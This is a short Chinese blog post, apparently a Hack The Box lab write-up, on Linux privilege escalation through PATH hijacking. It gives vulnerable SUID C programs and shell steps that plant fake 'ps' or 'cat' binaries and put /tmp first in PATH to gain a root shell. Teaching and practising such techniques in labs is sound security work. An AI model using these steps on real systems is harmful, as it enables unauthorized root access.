使用PATH变量的Linux特权升级
昨天做HTB的时候遇见了通过环境变量劫持,进行权限提升的操作。今天特地研究了一下
原文链接:Linux Privilege Escalation Using PATH Variable
使用此操作满足的两个点:
1.查询被设置了SUID
2.程序调用其他命令的时候没有写绝对路径
造成这种提权的原因是因为编写程序的时候没有指定绝对路径运行,导致可以通过劫持环境变量来进行劫持操作,一般默认的环境变量有
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Experiment
Module 1
代码如下:
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("ps");
return 0;
}
执行以下操作
echo "whoami" > ps
chmod 777 ps
export PATH=/tmp:$PATH
./shell
执行export后/tmp将在环境变量最前面
修改成bash则可以获得一个root shell
Module 2
代码如下:
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("cat /etc/passwd");
return 0;
}
执行以下操作
echo "whoami" > cat
chmod 777 cat
export PATH=/tmp:$PATH
./shell
或者
vim cat #然后在里面写入/bin/bash
chmod 777 cat
export PATH=/tmp:$PATH
./shell
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:使用PATH变量的Linux特权升级
本文作者:九世
发布时间:2020-04-22, 11:38:30
最后更新:2020-04-22, 12:01:48
原始链接:http://jiushill.github.io/posts/ce72e360.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。